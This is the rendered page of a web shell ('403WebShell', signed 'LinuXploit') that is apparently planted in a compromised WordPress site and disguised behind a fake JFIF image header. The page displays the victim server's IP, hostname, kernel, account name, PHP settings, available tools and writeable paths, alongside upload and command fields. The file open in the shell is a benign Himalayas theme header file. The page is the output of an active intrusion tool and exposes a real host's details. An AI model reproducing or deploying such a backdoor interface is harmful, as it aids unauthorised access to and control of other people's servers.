????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.96.1  /  Your IP : 216.73.216.145
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/tempvsty/./peepmysite.com/wp-content/themes/himalayas/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tempvsty/./peepmysite.com/wp-content/themes/himalayas/inc/custom-header.php
<?php
/**
 * Himalayas Theme Customizer
 *
 * @package    ThemeGrill
 * @subpackage Himalayas
 * @since      Himalayas 1.0.9
 */

/**
 * Setup the WordPress core custom header feature.
 */
function himalayas_custom_header_setup() {
	// Add Image Headers / Video Headers in 4.7
	add_theme_support( 'custom-header', array(
		'width'       => 2000,
		'height'      => 400,
		'flex-height' => true,
		'flex-width'  => true,
		'video'       => true,
		'header-text' => false,
	) );
}

add_action( 'after_setup_theme', 'himalayas_custom_header_setup' );

// Filter the get_header_image_tag() for option of adding the link back to home page option
function himalayas_header_image_markup( $html, $header, $attr ) {
	$output = '';

	if ( ( get_theme_mod( 'himalayas_slide_on_off', '' ) == 0 ) || ( ( get_theme_mod( 'himalayas_slide_on_off', '' ) == 1 ) && ! is_front_page() ) ) {
		$header_image = get_header_image();

		if ( ! empty( $header_image ) ) {
			$output .= '<div class="header-image-wrap"><img src="' . esc_url( $header_image ) . '" class="header-image" width="' . get_custom_header()->width . '" height="' . get_custom_header()->height . '" alt="' . esc_attr( get_bloginfo( 'name', 'display' ) ) . '"></div>';
		}
	}

	return $output;
}

function himalayas_header_image_markup_filter() {
	add_filter( 'get_header_image_tag', 'himalayas_header_image_markup', 10, 3 );
}

add_action( 'himalayas_header_image_markup_render', 'himalayas_header_image_markup_filter' );

Youez - 2016 - github.com/yon3zu
LinuXploit